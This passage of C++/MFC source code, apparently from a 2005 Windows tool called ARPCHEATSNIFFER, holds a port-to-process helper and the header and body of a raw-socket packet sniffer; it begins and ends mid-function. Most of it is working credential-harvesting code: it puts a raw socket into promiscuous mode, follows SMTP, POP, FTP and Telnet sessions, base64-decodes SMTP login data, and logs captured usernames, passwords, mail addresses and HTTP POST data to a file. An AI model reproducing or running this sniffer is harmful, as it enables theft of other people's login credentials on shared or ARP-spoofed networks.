i;bool caninsert=true;for(i=0;i<PortNum;i++){if(PortToProcess[i].Protocol==type&&PortToProcess[i].Port==port){caninsert=false;break;}}if(caninsert){PortToProcess[PortNum].Port=port;PortToProcess[PortNum].Pid=pid;PortToProcess[PortNum].Protocol=type;}return caninsert; }//查看進程名字 void PcInfor::FindProcName() {int i,j;char num[20];for(i=0;i<PortNum;i++){wsprintf(num,"%s",PortToProcess[i].Pid);for(j=0;j<ProcessNum;j++){if(ProcessInfo[j].ProcessId==(DWORD)atoi(num)){PortToProcess[i].ProcName=ProcessInfo[j].ProcessName;}}} }//查看進程目錄 void PcInfor::FindProcPath() {int i;char cmd[100];FILE *fout;DeleteFile("procpath.txt");fout=fopen("getprocess.bat","w");if(access("tlist.exe",0)!=0){AfxMessageBox("tlist.exe文件不存在!");return;}for(i=0;i<PortNum;i++){if(PortToProcess[i].ProcName=="System") wsprintf(cmd,"tlist.exe %s|find \"System\">>procpath.txt\r\n",PortToProcess[i].Pid);else wsprintf(cmd,"tlist.exe %s|find \"CmdLine:\">>procpath.txt\r\n",PortToProcess[i].Pid);if(fout!=NULL) fputs(cmd,fout);}if(fout!=NULL){fputs("exit",fout);system("start getprocess.bat");fclose(fout);} }void PcInfor::GetProcPath() {FILE *fin;fin=fopen("procpath.txt","r");CString tempstr;CString Path;int index,i;char getstring[500];i=0;if(fin!=NULL){while(!feof(fin)){fgets(getstring,sizeof(getstring),fin);tempstr.Format("%s",getstring);index=tempstr.FindOneOf("CmdLine:");if(i>(PortNum-1)) break;if(index==-1){PortToProcess[i].ProcPath="no get path";i++;continue;}index+=9;Path=tempstr.Mid(index,tempstr.GetLength()-index);PortToProcess[i].ProcPath.Format("%s",Path);i++;}fclose(fin);}else AfxMessageBox("沒有找到路徑文件"); }void PcInfor::GetPortToProcessInfo() {int i;BornTcpListen();BornUdpListen();GetListenPort();FindProcName();FindProcPath();for(i=0;i<10;i++) Sleep(1000);GetProcPath();DeleteTempFile();WriteProcinfo(); }//刪除臨時文件 void PcInfor::DeleteTempFile() {DeleteFile("tcplisten.txt");DeleteFile("udplisten.txt");DeleteFile("procpath.txt");DeleteFile("getprocess.bat"); }//把本地信息輸出到文件 void PcInfor::WriteProcinfo() {int i;FILE *fout;char tostring[500];fout=fopen("procinfo.txt","w");if(fout!=NULL){fputs("Potocol\tPort\tPid\tProcName\t\t\tProcPath\r\n",fout);for(i=0; i<PortNum; i++){wsprintf(tostring,"%s\t%s\t%s\t%s\t\t\t%s",PortToProcess[i].Protocol,PortToProcess[i].Port,PortToProcess[i].Pid,PortToProcess[i].ProcName,PortToProcess[i].ProcPath);fputs(tostring,fout); }fclose(fout);} }//獲取本地IP void PcInfor::GetLocalIp() {char Ip[MAX_PATH],*ip;char pc_name[80];struct in_addr in;struct hostent *host;WORD wVersionRequested;WSADATA wsaData;wVersionRequested=MAKEWORD(2,0);ip=Ip;strcpy(ip,"Ip not get!");SystemInfo.IP.Format("%s",ip);if(WSAStartup(wVersionRequested,&wsaData)) return;if(LOBYTE(wsaData.wVersion)!=2||HIBYTE(wsaData.wVersion)!=0){WSACleanup();return;}if(gethostname(pc_name,80)==SOCKET_ERROR){WSACleanup();return;}if(!(host=gethostbyname(pc_name))){WSACleanup();return;}in.s_addr=*((unsigned long *)host->h_addr_list[0]);strcpy(ip,inet_ntoa(in));WSACleanup();SystemInfo.IP.Format("%s",ip); }
SNIFFER.h
// Raw Sniffer Code V1.2 // // powered by shadow @2004/11/28 // // my web:http://www.codehome.6600.org //#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1) #define MAX_SUBTHREAD_NUM 50 //最大監聽線程 #define LISTEN_PORT 7500 //監聽起始端口 #define WM_SNIFFER_STOP WM_USER+100 //嗅探停止消息 #define WM_SNIFFER_RESTART WM_USER+101 //嗅探重新開始消息 #define WM_SNIFFER_CLOSE WM_USER+102 //嗅探徹底關閉消息 /* #define WM_ALLSNIFFER_STOP WM_USER+103 #define WM_ALLSNIFFER_CLOSE WM_USER+104 #define WM_ALLSNIFFER_RESTART WM_USER+105 */ #define SNIFFER_STATE_START 1 //嗅探在進行中 #define SNIFFER_STATE_CLOSE 2 //嗅探已完全關閉 #define SNIFFER_STATE_STOP 3 //嗅探暫停#define IPPROTO_TCP_TXT "TCP" #define IPPROTO_UDP_TXT "UDP" #define IPPROTO_ICMP_TXT "ICMP" #define IPPROTO_IGMP_TXT "IGMP" #define IPPROTO_DEFAULT_TXT "UNK"#define ICMP_HEADER_LEN 4 //各協議默認頭長,tcp和ip頭長可變 #define TCP_HEADER_LEN 20 #define UDP_HEADER_LEN 8 #define IP_HEADER_LEN 20#define MAXDATALEN 5000 //數據包的數據最大長度//4字節ip地址,相當于DWORD FROMIP typedef struct _IPADDRESS { unsigned char address[4]; }IPADDRESS;//IP頭定義 typedef struct _IP { unsigned char VersionHdl; //4位版本號和4位ip頭長,每位代表4字節長度unsigned char ServiceType; //服務類型unsigned short TotalLen; //數據包總長unsigned short Identifier; //標志unsigned short FragOff; //偏移量unsigned char TTL; //生存周期unsigned char Protocol; //協議類型unsigned short IpChkSum; //校驗碼IPADDRESS FromIP; //源IP地址IPADDRESS ToIP; //目的IP地址 }IP_HEADER; //UDP頭定義 typedef struct _UDP {WORD FromPort; //源端口WORD ToPort; //目的端口WORD UdpLen; //udp頭長WORD UdpChkSum; //校驗碼 }UDP_HEADER;//TCP頭定義 typedef struct _TCP {WORD FromPort; //源端口WORD ToPort; //目的端口DWORD SeqNum; //順序碼DWORD ACKNum; //回應碼BYTE HeaderLen; //TCP頭長BYTE Flags; //標志WORD Window; //窗口大小WORD TcpChkSum; //校驗碼WORD UrgPtr; //緊急指針 }TCP_HEADER;//ICMP頭定義 typedef struct _ICMP {BYTE Type; //類型BYTE Code; //區別碼WORD IcmpChkSum; //校驗碼 }ICMP_HEADER;//敏感信息存儲結構體,包括smtp,pop,ftp,telnet typedef struct _LISTENIPINFO { char proto[8]; //一次點對點會話只占用一個該結構體char sourceip[20];char sourceport[8];char destip[20];char destport[8];char username[50];char password[50];char mailfrom[100];char rcptto[100];int step;unsigned long lrecord_time; //最后收到的數據包時間 }LISTENIPINFO,LPLISTENIPINFO;//解析數據包之后的信息 typedef struct _PACKETINFO {char Protocol[8];char FromIp[20];char FromPort[8];char DestIp[20];char DestPort[8];char PacketData[MAXDATALEN];int DataLen;bool Checked; }PACKETINFO;//用戶定義信息結構體 typedef struct _USERINFO {CString ProtoType; //協議類型CString sourceip; //源ipCString sourceport; //源端口CString destip; //目的ipCString destport; //目的端口char SnifferDataPath[MAX_PATH]; //smtp和pop嗅探路徑bool SmtpSniffStart; //各項開始標記bool PopSniffStart;bool TelnetSniffStart;bool PostSniffStart; //HTTP中POST的數據bool FtpSniffStart; bool PacketSniffStart;bool LogData; //輸出到文件bool Echo; //回顯bool Filter; //過慮0字節數據包bool OutputByHex; //十六進制或者ASCIIbool HighSniff; //是否粗略嗅探,丟包率高,cpu利用率低 基本0int Way; //嗅探方式,1[單向嗅探],0[雙向嗅探]int MaxData; //最大記錄,單位Mint timeout; //嗅探超時,超過一定時間[s],信息存儲區將會清空被重復利用 }USERINFO,LPUSERINFO;//SOCKET RawSocket;//監聽原始套接字 class SNIFFER { public:SNIFFER();virtual ~SNIFFER();public:int MainThreadId; //主線程ID int SubThreadNum; //子線程個數int SubThreadId[MAX_SUBTHREAD_NUM]; //子線程列表int ErrorCode; //錯誤碼public:int AnalysePacket(char *buffer); //分析數據包int SnifferClose(); //關閉嗅探int ReStart(); //重新開始嗅探int Start(int type); //開始嗅探int Stop(); //停止嗅探private:bool WsaStartup; //SOCKET成功初始化char * GetLastError(int errorcode); //獲取錯去碼char * SnifferError[14]; //錯誤碼列表int SnifferState; //嗅探狀態LPVOID Form_ptr;//輔助函數 public:char * GetLocalIp(); //獲取本地IPchar * GetProtocol(unsigned char proto); //獲得協議類型CString GetCurrentSystemTime(); //獲取時間//回顯和保存數據包void EchoSnifferString(int i,int SniffType); //回顯敏感數據嗅探結果,包括smtp,ftp,pop,telnetvoid EchoPacketString(int SniffType); //回顯數據包void WriteSnifferString(int i,int SniffType); //嗅探結果寫文件void WritePacketString(int SniffType); //輸出普通包和POST數據包int SaveSnifferData(); //存儲和回顯普通包//數據包的分析int CheckSmtpPacket(); //檢查smtp包int CheckPopPacket(); //檢查pop包int CheckTelnetPacket(); //檢查telnet包int CheckFtpPacket(); //檢查ftp包//監聽的管理int IpIsListened(); //IP是否被監聽//判斷會話是否已經在監聽隊列,返回隊列下標,沒有返回-1void UpdateLastVisitTime(int i); //更新最后收到數據包的時間int InsertListenIpList(); //把回話插入到隊列void ResetListenIp(int i); //重置監聽隊列某項void BornRawSocket(SOCKET &Socket); //產生原始套接字};
SNIFFER.cpp
// Arp Sniffer Code V2.1 for ARPCHEATSNIFFER // // powered by shadow @2005/06/02 // // my web:http://www.codehome.6600.org //#include "stdafx.h" #include "SNIFFER.h" #include "BASE641.h" #include "PcInfor.h"#pragma comment(lib,"wsock32.lib") #pragma warning(disable:4996)#ifndef CHEAT_INFO #define CHEAT_INTO 0 #define ONLY_CHEAT 1 #define CHEAT_AND_SNIFF 2 #endif#define SMTPSTEP 5 //各項嗅探完成步驟 #define FTPSTEP 2 #define POPSTEP 2 #define TELNETSTEP 2 //#define MAX_TIMEOUT 120 //嗅探超時#define SMTP 1 //各項類別標記 #define POP 2 #define FTP 3 #define TELNET 4 #define POST 5 #define NORMAL 6 //普通未處理數據包//外部全局變量 extern USERINFO sniffuserinfo; extern void WriteUserDefine(); extern PcInfor mypcinfo; extern int RunType; extern unsigned long LostPacket;//本地全局變量 LISTENIPINFO ListenIpList[MAX_SUBTHREAD_NUM]; //監聽列表 PACKETINFO m_PI,m_PI2; //分析之后的數據包信息 SOCKET RawSocket; //原始套接字 FILE *fsniffer; //輸出文件指針 int BasePort; //原始套接字監聽端口其實地址//線程函數 UINT StatusWatchThread(LPVOID info); //監聽隊列狀態線程 UINT SnifferThread(LPVOID form_ptr); //主嗅探線程//監聽隊列狀態線程 UINT StatusWatchThread(LPVOID info) {SNIFFER *pSniffer = (SNIFFER *)info;long current_seconds;int i,timeout;SYSTEMTIME systemtime;while(true){Sleep(100);GetSystemTime(&systemtime);current_seconds = systemtime.wHour*3600+systemtime.wMinute*60+systemtime.wSecond;for(i=0; i<MAX_SUBTHREAD_NUM; i++){timeout = current_seconds-ListenIpList[i].lrecord_time;if(timeout > sniffuserinfo.timeout && ListenIpList[i].lrecord_time !=0 && ListenIpList[i].proto[0]!=0){pSniffer->ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n銷毀超時信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}} }//主嗅探線程 UINT SnifferThread(LPVOID form_ptr) {MSG msg;SNIFFER *getform=static_cast<SNIFFER *>(form_ptr);getform->MainThreadId = GetCurrentThreadId();printf("\r\nCheck Thread ok...\n");while(true){if(PeekMessage(&msg, NULL, WM_SNIFFER_CLOSE, WM_SNIFFER_CLOSE, PM_REMOVE)){closesocket(RawSocket);TRACE("mainthread close ok1 and send message!");break;}if(PeekMessage(&msg, NULL, WM_SNIFFER_STOP,WM_SNIFFER_STOP,PM_REMOVE)){TRACE("go stop ok!");while(true){Sleep(1);if(PeekMessage(&msg,NULL,WM_SNIFFER_RESTART,WM_SNIFFER_RESTART,PM_REMOVE)){TRACE("restart ok!");break;}if(PeekMessage(&msg,NULL,WM_SNIFFER_CLOSE,WM_SNIFFER_CLOSE,PM_REMOVE)){closesocket(RawSocket);TRACE("thread close ok!2");return 0;}}}if(!m_PI.Checked){if(sniffuserinfo.PacketSniffStart) getform->SaveSnifferData();if(sniffuserinfo.SmtpSniffStart&&m_PI.DestPort=="25"&&m_PI.DataLen!=0) getform->CheckSmtpPacket();else if(sniffuserinfo.FtpSniffStart&&m_PI.DestPort=="21"&&m_PI.DataLen!=0) getform->CheckFtpPacket();else if(sniffuserinfo.PopSniffStart&&m_PI.DestPort=="110"&&m_PI.DataLen!=0) getform->CheckPopPacket();else if(sniffuserinfo.TelnetSniffStart&&m_PI.DestPort=="23"&&m_PI.DataLen!=0) getform->CheckTelnetPacket();else;m_PI.Checked=true;}if(m_PI2.Checked){if(sniffuserinfo.PacketSniffStart) getform->SaveSnifferData();if(sniffuserinfo.SmtpSniffStart&&m_PI2.DestPort=="25"&&m_PI2.DataLen!=0) getform->CheckSmtpPacket();else if(sniffuserinfo.FtpSniffStart&&m_PI2.DestPort=="21"&&m_PI2.DataLen!=0) getform->CheckFtpPacket();else if(sniffuserinfo.PopSniffStart&&m_PI2.DestPort=="110"&&m_PI2.DataLen!=0) getform->CheckPopPacket();else if(sniffuserinfo.TelnetSniffStart&&m_PI2.DestPort=="23"&&m_PI2.DataLen!=0) getform->CheckTelnetPacket();else;m_PI2.Checked=false;}}return 0; }/////輔助函數/ //獲取本地IP char* SNIFFER::GetLocalIp() {char hostname[100];char *hostip;hostent *myhost;gethostname(hostname,100);myhost=gethostbyname(hostname);hostip=inet_ntoa(*(in_addr *)myhost->h_addr_list[0]);return hostip; }//獲得協議類型 char* SNIFFER::GetProtocol(unsigned char proto) { switch(proto){case IPPROTO_TCP:return IPPROTO_TCP_TXT;case IPPROTO_UDP:return IPPROTO_UDP_TXT;case IPPROTO_ICMP:return IPPROTO_ICMP_TXT;case IPPROTO_IGMP:return IPPROTO_IGMP_TXT;default:return IPPROTO_DEFAULT_TXT;} }//獲取時間 CString SNIFFER::GetCurrentSystemTime() {SYSTEMTIME systemtime;GetSystemTime(&systemtime);CString datetime;datetime.Format("%d-%d-%d %d:%d:%d",systemtime.wYear,systemtime.wMonth,systemtime.wDay,systemtime.wHour,systemtime.wMinute,systemtime.wSecond);return datetime; }///回顯數據/ //回顯敏感數據嗅探結果,包括smtp,ftp,pop,telnet void SNIFFER::EchoSnifferString(int i,int SniffType) {CString type;switch(SniffType){case SMTP:type="SMTP";break;case FTP:type="FTP";break;case POP:type="POP";break;case TELNET:type="TELNET";break;default:break;}printf("\r\n--------> %s 嗅探結果:\r\n",type);printf("%-4s%-17s%-6s--> %-17s%-6s %s\r\n",ListenIpList[i].proto,ListenIpList[i].sourceip,ListenIpList[i].sourceport,ListenIpList[i].destip,ListenIpList[i].destport,GetCurrentSystemTime());printf("UserName:%s\r\n",ListenIpList[i].username);printf("PassWord:%s\r\n",ListenIpList[i].password);if(SniffType == SMTP){printf("%s\r\n",ListenIpList[i].mailfrom);printf("%s\r\n",ListenIpList[i].rcptto);} }//嗅探結果寫文件 void SNIFFER::WriteSnifferString(int i,int SniffType) {CString type;switch(SniffType){case SMTP:type="SMTP";break;case FTP:type="FTP";break;case POP:type="POP";break;case TELNET:type="TELNET";break;default:break;}fsniffer = fopen(sniffuserinfo.SnifferDataPath,"ab+");if(fsniffer == NULL) return;fprintf(fsniffer,"\r\n--------> %s 嗅探結果:\r\n",type);fprintf(fsniffer,"%-4s%-17s%-6s--> %-17s%-6s %s\r\n",ListenIpList[i].proto,ListenIpList[i].sourceip,ListenIpList[i].sourceport,ListenIpList[i].destip,ListenIpList[i].destport,GetCurrentSystemTime());fprintf(fsniffer,"UserName:%s\r\n",ListenIpList[i].username);fprintf(fsniffer,"PassWord:%s\r\n",ListenIpList[i].password);if(SniffType == SMTP){fprintf(fsniffer,"%s\r\n",ListenIpList[i].mailfrom);fprintf(fsniffer,"%s\r\n",ListenIpList[i].rcptto);}fclose(fsniffer); }//回顯數據包 void SNIFFER::EchoPacketString(int SniffType) {if (m_PI.DataLen == 0) return;//if(SniffType == POST)printf("---------------------嗅探結果------------------------------\n");printf("時間 :%s\n",GetCurrentSystemTime());printf("協議 :%-4s\n", m_PI.Protocol);printf("源IP :%-17s\n", m_PI.FromIp);printf("源PORT :%-6s\n", m_PI.FromPort);printf("目標IP :%-17s\n", m_PI.DestIp);printf("目標PORT:%-6s\n", m_PI.DestPort);printf("大小 :%d",m_PI.DataLen);printf("\n");printf("原始數據:\n");printf("%s\n",m_PI.PacketData);//十六進制輸出if(sniffuserinfo.OutputByHex){ unsigned char HexData[MAXDATALEN];printf("十六進制:\n");memcpy(HexData, m_PI.PacketData, m_PI.DataLen);for(int i=0; i<m_PI.DataLen; i++){printf("%02X ",HexData[i]);}}printf("\n---------------------------------------------------\n"); }//輸出普通包和POST數據包 void SNIFFER::WritePacketString(int SniffType) {unsigned char HexData[MAXDATALEN];ZeroMemory(HexData,sizeof(HexData));fsniffer = fopen(sniffuserinfo.SnifferDataPath,"ab+");if(fsniffer != NULL){if(SniffType == POST){fprintf(fsniffer,"\r\n--------> POST 嗅探結果:\r\n%-4s%-17s%-6s--> %-17s%-6s%5d Bytes %s\r\n",m_PI.Protocol,m_PI.FromIp,m_PI.FromPort,m_PI.DestIp,m_PI.DestPort,m_PI.DataLen,GetCurrentSystemTime());fwrite(m_PI.PacketData, m_PI.DataLen, 1, fsniffer);fputs("\r\n", fsniffer);fflush(fsniffer);fclose(fsniffer);return;}fprintf(fsniffer,"%-6s%-17s%-8s--> %-17s%-6s%5d Bytes %s\r\n---------------------------------------------------------------------------------------------\r\n",m_PI.Protocol,m_PI.FromIp,m_PI.FromPort,m_PI.DestIp,m_PI.DestPort,m_PI.DataLen,GetCurrentSystemTime());//十六進制輸出if(sniffuserinfo.OutputByHex){memcpy(HexData, m_PI.PacketData, m_PI.DataLen);for(int i=0,j=1; i<m_PI.DataLen; i++,j++){fprintf(fsniffer,"0x%02X,",HexData[i]);if(j%20==0){fputs("\r\n",fsniffer);j=0;}}}else{fwrite(m_PI.PacketData, m_PI.DataLen, 1, fsniffer);}fputs("\r\n\r\n---------------------------------------------------------------------------------------------\r\n",fsniffer);fflush(fsniffer);fclose(fsniffer);}else {printf("File can not create...\r\n");} }//存儲和回顯普通包 int SNIFFER::SaveSnifferData() {bool cansave = false;if(sniffuserinfo.Filter && m_PI.DataLen == 0) return 0;//數據過濾if(sniffuserinfo.ProtoType.Find(m_PI.Protocol,0)>=0 || sniffuserinfo.ProtoType=="*")if(sniffuserinfo.sourceip.Find(m_PI.FromIp,0)>=0 || sniffuserinfo.sourceip=="*")if(sniffuserinfo.sourceport.Find(m_PI.FromPort,0)>=0 || sniffuserinfo.sourceport=="*")if(sniffuserinfo.destip.Find(m_PI.DestIp,0)>=0 || sniffuserinfo.destip=="*")if(sniffuserinfo.destport.Find(m_PI.DestPort,0)>=0 || sniffuserinfo.destport=="*")cansave=true;if(cansave){//回顯數據包if(sniffuserinfo.Echo) EchoPacketString(NORMAL);if(sniffuserinfo.LogData){int hfile;hfile = open(sniffuserinfo.SnifferDataPath, O_RDONLY|O_BINARY);if(hfile){long flen = filelength(hfile);//檢查抓包文件是否過大if((flen/1024/1024) > sniffuserinfo.MaxData){close(hfile);remove(sniffuserinfo.SnifferDataPath);}else close(hfile);} WritePacketString(NORMAL);return 1;}}return 0; }//分析各種協議數據包 //檢查smtp包 int SNIFFER::CheckSmtpPacket() {int i;char *pindex;char sdata[100];memset((void *)sdata,0,sizeof(sdata));//該鏈接是否已被插進鏈表i = IpIsListened();if(i == -1){//沒有插進鏈表就現在插i = InsertListenIpList();if(i == -1){//插入失敗返回0return 0;}else{if(sniffuserinfo.Echo) printf("\r\n申請SMTP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}//更新最后收到數據包的時間UpdateLastVisitTime(i);CString LowSnifferStr;CString Encodestr,Decodestr;LowSnifferStr.Format("%s",m_PI.PacketData);LowSnifferStr.MakeLower();pindex=strstr(m_PI.PacketData, "\r\n");if(ListenIpList[i].step==0 && (LowSnifferStr.Find("auth login",0)==0)){ListenIpList[i].step++;return 0;}else if(ListenIpList[i].step==1||ListenIpList[i].step==2){if(pindex!=NULL){Encodestr.Format("%s",memcpy(sdata,m_PI.PacketData,pindex-m_PI.PacketData));ListenIpList[i].step++;}}else if(ListenIpList[i].step==3&&LowSnifferStr.Find("mail from:",0)==0){if(pindex!=NULL){memcpy(sdata,m_PI.PacketData,pindex-m_PI.PacketData);strcpy(ListenIpList[i].mailfrom,sdata);ListenIpList[i].step++;}}else if(ListenIpList[i].step==4&&LowSnifferStr.Find("rcpt to:",0)==0){if(pindex!=NULL){memcpy(sdata,m_PI.PacketData,pindex-m_PI.PacketData);strcpy(ListenIpList[i].rcptto,sdata);ListenIpList[i].step++;}}else;if(ListenIpList[i].step==2||ListenIpList[i].step==3){BASE64 base64;char encodestr[50];ZeroMemory(encodestr,sizeof(encodestr));sprintf(encodestr,"%s",Encodestr);Decodestr.Format("%s",base64.StringDecode((unsigned char *)encodestr));}if(ListenIpList[i].step==2) strcpy(ListenIpList[i].username,Decodestr.GetBuffer(0));else if(ListenIpList[i].step==3) strcpy(ListenIpList[i].password,Decodestr.GetBuffer(0));else;if(ListenIpList[i].step==SMTPSTEP){if(sniffuserinfo.Echo) EchoSnifferString(i,SMTP);if(sniffuserinfo.LogData) WriteSnifferString(i,SMTP);ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n重置SMTP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}return 1; }//檢查pop包 int SNIFFER::CheckPopPacket() {int i,strlength;char sdata[100];memset((void *)sdata,0,sizeof(sdata));//該鏈接是否已被插進鏈表i = IpIsListened();if(i == -1){//沒有插進鏈表就現在插i = InsertListenIpList();if(i == -1){//插入失敗返回0return 0;}else{if(sniffuserinfo.Echo) printf("\r\n申請POP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}//更新最后收到數據包的時間UpdateLastVisitTime(i);CString LowSnifferStr;LowSnifferStr.Format("%s",m_PI.PacketData);LowSnifferStr.MakeLower();if(ListenIpList[i].step==0&&LowSnifferStr.Find("user",0)==0){strlength=strlen(m_PI.PacketData);memcpy(ListenIpList[i].username,m_PI.PacketData+5,strlength-7);ListenIpList[i].step++;}else if(ListenIpList[i].step==1&&LowSnifferStr.Find("pass",0)==0){strlength=strlen(m_PI.PacketData);memcpy(ListenIpList[i].password,m_PI.PacketData+5,strlength-7);ListenIpList[i].step++;}else;if(ListenIpList[i].step==POPSTEP){if(sniffuserinfo.Echo) EchoSnifferString(i,POP);if(sniffuserinfo.LogData) WriteSnifferString(i,POP);ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n重置POP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}return 1; }//檢查ftp包 int SNIFFER::CheckFtpPacket() {int i,strlength;char sdata[100];memset((void *)sdata,0,sizeof(sdata));//該鏈接是否已被插進鏈表i = IpIsListened();if(i == -1){//沒有插進鏈表就現在插i = InsertListenIpList();if(i == -1){//插入失敗返回0return 0;}else{if(sniffuserinfo.Echo) printf("\r\n申請FTP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}//更新最后收到數據包的時間UpdateLastVisitTime(i);CString LowSnifferStr;LowSnifferStr.Format("%s",m_PI.PacketData);LowSnifferStr.MakeLower();if(ListenIpList[i].step==0&&LowSnifferStr.Find("user",0)==0){strlength=strlen(m_PI.PacketData);memcpy(ListenIpList[i].username,m_PI.PacketData+5,strlength-7);ListenIpList[i].step++;}else if(ListenIpList[i].step==1&&LowSnifferStr.Find("pass",0)==0){strlength=strlen(m_PI.PacketData);memcpy(ListenIpList[i].password,m_PI.PacketData+5,strlength-7);ListenIpList[i].step++;}else;if(ListenIpList[i].step==FTPSTEP){if(sniffuserinfo.Echo) EchoSnifferString(i,FTP);if(sniffuserinfo.LogData) WriteSnifferString(i,FTP);ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n重置FTP信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}return 1; }//檢查telnet包 int SNIFFER::CheckTelnetPacket() {int i;//該鏈接是否已被插進鏈表i = IpIsListened();if(i == -1){//沒有插進鏈表就現在插i = InsertListenIpList();if(i == -1){//插入失敗返回0return 0;}else{if(sniffuserinfo.Echo) printf("\r\n申請TELNET信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}}//更新最后收到數據包的時間UpdateLastVisitTime(i);if(m_PI.DataLen==1||m_PI.DataLen==2){if(m_PI.PacketData=="\r"||m_PI.PacketData=="\n"||m_PI.DataLen==2){ListenIpList[i].step++;return 0;}if(m_PI.DataLen==1&&ListenIpList[i].step==0) strcat(ListenIpList[i].username,m_PI.PacketData);else if(m_PI.DataLen==1&&ListenIpList[i].step==1) strcat(ListenIpList[i].password,m_PI.PacketData);else;}//else if(PacketData.GetLength()==2) else;if(ListenIpList[i].step==TELNETSTEP){if(sniffuserinfo.Echo) EchoSnifferString(i,TELNET);if(sniffuserinfo.LogData) WriteSnifferString(i,TELNET);ResetListenIp(i);if(sniffuserinfo.Echo) printf("\r\n重置TELNET信息存儲區域ListenIpList[%d]:[OK]\r\n",i);}return 1; }//監聽的管理// //判斷會話是否已經在監聽隊列,返回隊列下標,沒有返回-1 int SNIFFER::IpIsListened() {int i;for(i=0; i<MAX_SUBTHREAD_NUM; i++){if(strcmp(ListenIpList[i].proto, m_PI.Protocol)==0 && strcmp(ListenIpList[i].sourceip, m_PI.FromIp)==0 && strcmp(ListenIpList[i].sourceport, m_PI.FromPort)==0 )if(strcmp(ListenIpList[i].destip, m_PI.DestIp)==0 && strcmp(ListenIpList[i].destport, m_PI.DestPort)==0)return i;}return -1; }//更新最后收到數據包的時間 void SNIFFER::UpdateLastVisitTime(int i) {SYSTEMTIME systemtime;GetSystemTime(&systemtime);ListenIpList[i].lrecord_time = systemtime.wHour*3600+systemtime.wMinute*60+systemtime.wSecond; }//把回話插入到隊列 int SNIFFER::InsertListenIpList() {int i;for(i=0; i<MAX_SUBTHREAD_NUM; i++){//直到找到一個空的地方,然后進行插入if(ListenIpList[i].proto[0] == 0){ZeroMemory((char *)&ListenIpList[i], sizeof(ListenIpList[i]));strcpy(ListenIpList[i].proto, m_PI.Protocol);strcpy(ListenIpList[i].sourceip, m_PI.FromIp);strcpy(ListenIpList[i].sourceport, m_PI.FromPort);strcpy(ListenIpList[i].destip, m_PI.DestIp);strcpy(ListenIpList[i].destport, m_PI.DestPort);ListenIpList[i].step = 0;UpdateLastVisitTime(i);return i;}}//隊列已滿return -1; }//重置監聽隊列某項 void SNIFFER::ResetListenIp(int i) {//標志位置0就可以了ListenIpList[i].proto[0] = 0; }//產生原始套接字 void SNIFFER::BornRawSocket(SOCKET &Socket) {sockaddr_in localsock;Socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP);if(Socket == INVALID_SOCKET) return;//自定義超時int rcvtimeout = 5000;if(setsockopt(Socket,SOL_SOCKET,SO_RCVTIMEO, (const char *)&rcvtimeout,sizeof(rcvtimeout)) == SOCKET_ERROR) return;//地址綁定localsock.sin_family = AF_INET;localsock.sin_port = htons(++BasePort);localsock.sin_addr.S_un.S_addr = inet_addr(GetLocalIp());if(bind(Socket, (const sockaddr *)&localsock, sizeof(localsock)) == SOCKET_ERROR) return;DWORD dwValue=1;if(ioctlsocket(Socket, SIO_RCVALL, &dwValue) == SOCKET_ERROR) return; } ////構造函數 SNIFFER::SNIFFER() {//變量初始化WsaStartup = false;BasePort = LISTEN_PORT;m_PI.Checked = true;m_PI.Checked = false;LostPacket = 0;SnifferState = SNIFFER_STATE_CLOSE;ZeroMemory((void *)&ListenIpList,sizeof(ListenIpList));//錯誤碼SnifferError[0]="operate success!";SnifferError[1]="WSAStartup failed!";SnifferError[2]="Sniffer has start!";SnifferError[3]="Sniffer is stoping!";SnifferError[4]="Invalid Socket!";SnifferError[5]="setsockopt rcvtimeo failed!";SnifferError[6]="setsockopt iphdrincl failed!";SnifferError[7]="bind socket failed!";SnifferError[8]="ioctlsocket failed!";SnifferError[9]="thread is not stop!";SnifferError[10]="thread close failed!";SnifferError[11]="no thread run!";SnifferError[12]="thread is not start!";SnifferError[13]="recv data error!";SnifferError[14]="send message to subthread error!";WORD wsaVersion;WSADATA WSAData;wsaVersion = MAKEWORD(2, 0);//初始化套接字if(WSAStartup(wsaVersion,&WSAData) == SOCKET_ERROR){ErrorCode=1;}else{ ErrorCode=0;WsaStartup=true;} }//析構函數 SNIFFER::~SNIFFER() {if(WsaStartup) WSACleanup(); }//開始監聽 int SNIFFER::Start(int type) {if(WsaStartup){if(SnifferState == SNIFFER_STATE_START){ErrorCode = 2;return ErrorCode;}if(SnifferState == SNIFFER_STATE_STOP){ErrorCode = 3;return ErrorCode;}//產生原始套接字BornRawSocket(RawSocket);if(RawSocket == 0){ErrorCode = 4;return ErrorCode;}//開始主嗅探線程if(type == 0) AfxBeginThread(SnifferThread,(LPVOID)this);//更換監聽狀態SnifferState = SNIFFER_STATE_START;//用戶定義寫文件if(sniffuserinfo.LogData) WriteUserDefine();//開始監聽隊列狀態線程,處理監聽超時的列表AfxBeginThread(StatusWatchThread, (LPVOID)this);ErrorCode=0;return ErrorCode;}else{ErrorCode = 1;return ErrorCode;} }//重新嗅探 int SNIFFER::ReStart() {if(SnifferState = SNIFFER_STATE_STOP){if(MainThreadId){PostThreadMessage(MainThreadId, WM_SNIFFER_RESTART, NULL, NULL);ErrorCode=0;return ErrorCode;}else{ErrorCode = 11;return ErrorCode;}}ErrorCode = 9;return ErrorCode; }//關閉嗅探 int SNIFFER::SnifferClose() {if(SnifferState != SNIFFER_STATE_CLOSE){if(MainThreadId){PostThreadMessage(MainThreadId, WM_SNIFFER_CLOSE, NULL, NULL);SnifferState = SNIFFER_STATE_CLOSE;MainThreadId = 0;ErrorCode = 0;return ErrorCode;}else{ErrorCode = 11;return ErrorCode;}}ErrorCode=10;return ErrorCode; }//關閉嗅探 int SNIFFER::Stop() {if(SnifferState = SNIFFER_STATE_START){if(MainThreadId){PostThreadMessage(MainThreadId, WM_SNIFFER_STOP, NULL, NULL);ErrorCode=0;return ErrorCode;}else{ErrorCode=11;return ErrorCode;}}ErrorCode=12;return ErrorCode; }//獲取錯誤碼 char * 